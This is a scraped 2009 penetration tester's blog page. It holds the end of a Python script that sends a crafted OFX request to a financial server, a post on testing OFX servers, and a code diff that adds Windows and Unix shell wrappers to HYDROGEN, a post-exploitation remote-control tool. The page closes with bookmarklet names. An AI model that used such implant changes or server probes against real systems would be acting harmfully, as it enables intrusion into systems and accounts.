<PASS>anonymous
<GENKEY>N
<LANGUAGE>ENG
<FI>
<ORG>WEBMONYZ
<FID>4141
</FI>
<APPID>OLS
<APPVER>2600
</SONRQ>
</SIGNONMSG>
<PROFMSG>
<PROFTRNRQ>
<TRNUID>41E2E2B0-4E61-1320-C2C8-CE72D5B69086
<PROFRQ>
<CLIENTROUTING>MSGSET
<DTPROFUP>41414101
</PROFRQ>
</PROFTRNRQ>
</PROFMSG>
</OFX>

"""
if len(PROXYHOST) > 3:
conn = httplib.HTTPConnection(PROXYHOST, PROXYPORT)
else:
conn = httplib.HTTPConnection(HOST)

conn.request("POST", URL, data, headers)
response = conn.getresponse()
print response.status, response.reason
data = response.read()

n = regex.findall(data)
for c in n:
print c

conn.close()

Wednesday, May 13, 2009

penetration testing OFX servers

I've done tests on a number of web services and like most rank and file testers there are always several issues identified.

Of course step 0 in testing a web servicee (within a 2 week window) is either discovering the WSDL or having it handed to you.

While OFX is an open standard, the implementation remains somewhat shrouded in secrecy. I'm not exactly sure why at this point, but I'm finding out more than I ever wanted about this specification.

Oh yeah...another interesting part of the journey has been finding out that common OFX clients, like microsoft money and quicken, generally fail safe when a certificate chain cannot be validated....which is good I guess. So it makes it harder to use burp or webscarab to reverse engineer the WSDL due to cert chain validation issues these tools introduce.

I have started looking at http flows from wireshark and using them as input for burp. I'm also writing some tools to automate some of this. I'm not looking forward to going through all this again when another OFX test comes up.

Stay tuned.

I'll be

Wednesday, April 22, 2009

quick diff to hydrogen

this add's slightly less confusion for cross platform use...

--- client_interface.c 2008-06-12 14:27:04.000000000 -0400
+++ client_interface.new 2009-04-21 11:13:47.769102600 -0400
@@ -20,7 +20,7 @@
/*here are the functions that actually do the work*/
int com_get(), com_put(), com_command(), com_cwd(), com_setenv();
int com_help(), com_pf_otcp(), com_pf_itcp(), com_bg(),com_pf_oudp();
-int com_pf_iudp(),com_setwrap();
+int com_pf_iudp(),com_setwrap(),com_setunixshell(),com_setwinshell();
int com_setlistenip();


@@ -41,12 +41,15 @@
{ "?", com_help, "print some help information" },

/*some real commands*/
- { "cwd", com_cwd, "Change to directory DIR" },
- { "setenv", com_setenv, "Set an environment variable" },
- { "setwrap", com_setwrap, "Set the command wrapper (for windows)" },
- { "get", com_get, "get file" },
- { "put", com_put, "put file" },
- { "setlistenip", com_setlistenip, "set the local listening ip address"},
+{ "cwd", com_cwd, "Change to directory DIR" },
+{ "setenv", com_setenv, "Set an environment variable" },
+{ "setwrap", com_setwrap, "Set the command wrapper " },
+{ "setwinshell", com_setwinshell, "Set the command wrapper (for windows)" },
+{ "setunixshell", com_setunixshell, "Set the command wrapper (for unix)" },
+{ "get", com_get, "get file" },
+{ "put", com_put, "put file" },
+{ "setlistenip", com_setlistenip, "set the local listening ip address"},
+
{ "pf_otcp",com_pf_otcp,"portforward - set up an outbound tcp connection"},
{ "pf_itcp",com_pf_itcp,"portforward - set up an inbound tcp connection"},

@@ -361,6 +364,24 @@
return 1;
}

+ com_setwinshell()
+ {
+ char *wrapper;
+ wrapper="cmd.exe /c \"%s\"";
+ set_wrapformat(wrapper);
+ return 1;
+ }
+
+ com_setunixshell()
+ {
+ char *wrapper;
+ wrapper="sh -c \"( %s ) 2>&1\"";
+ set_wrapformat(wrapper);
+ return 1;
+ }
+
+
+
int
com_setenv(char * line)
{
@@ -525,7 +546,7 @@
char *line,*s;

/*the \r cleans up the first letter typed.*/
- line = readline ("\rCommand: ");
+ line = readline ("\rhydrogen> ");

if (!line)
return;

Tuesday, April 21, 2009

One from Dave's code attic - hydrogen

Some of my best technical (and comical) inspirations come from the life works of Dave Aitel. If you want to learn about anything related to exploit development, exploit frameworks, post exploitation, or general application / network security, just start reading any of the code he has written.

And of course buy a copy of CANVAS to support his work. It's the best money you will ever spend on security training. Oh...and I guess you can use it as an exploit framework as well.

One of the really cool GPL projects Dave released a while back is called HYDROGEN. If you are not familiar with it, you can think of it as a cross platform meterpreter, with strong crypto built in.

It is really easy to add or change functionality. I'll try to post some of my mods to it soon.

My long term goal would be code in threading so that it could be compiled into a dll and injected into an exploited process on windows.

Even though RSnake says "Don't be like Dave" (in jest)...

Take some time to look around and read some of Dave's stuff...

Friday, March 13, 2009

Bookmarklets for Internet Explorer


search links
linked images
linked pages
hide visited
int/ext links
open all links
target this window
target new windows
target new bg windows
target one new window
remove redirects
full urls as link text


frmget
toggle checkboxes
next option
allow no option
remove maxlength
enlarge textareas
show hiddens
undisable
character count
view passwords
htmlarea ie


zoom images in
zoom images out
zoom layout
view selection
sort table
number rows
transpose tables
bullets to numbers
number lines


zap plugins
zap colors
zap cheap effects
zap events
zap timers
zap images
printer friendly
zap presentational html
zap style sheets
zap cookies
restore context menu
restore selecting
remove redirects
lowercase
deleet
force wrap
trigger rollovers


ancestors
zap style sheets
zap presentational html
list classes
generated source
show blocks
topographic view
make link
named anchors
onerror status
onerror alert


validate html
netcraft
http headers
grayscale
check images
zap images


up
top
increment
decrement
go to referrer
back to first
domain owner
edit page
view cookies
transfer cookies
zap cookies
google translate


find links to squarefree
google backlinks
atw internal backlinks
atw external backlinks
atw plaintext backlinks
google site search: all
atw site search: all
number google hits
word frequency


linkify
query as link text
find links to squarefree


seek bar for IE
pause
rewind
fast-forward
rewind 5s
forward 5s


google
google site search
google site search: all
google site search: title
num=100
num=10
num=1
filter=0
@google
@alltheweb
@teoma
@msn
@altavista
wayback newest
wayback search